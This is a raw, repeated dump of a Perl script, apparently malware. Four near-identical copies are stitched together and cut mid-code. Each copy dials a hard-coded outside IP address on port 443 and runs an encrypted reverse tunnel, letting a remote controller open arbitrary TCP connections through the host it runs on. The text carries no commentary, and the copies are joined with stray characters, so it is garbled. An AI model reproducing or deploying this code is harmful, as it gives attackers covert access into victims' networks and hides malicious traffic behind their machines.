"Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.177'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.176'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.175'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.174'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; 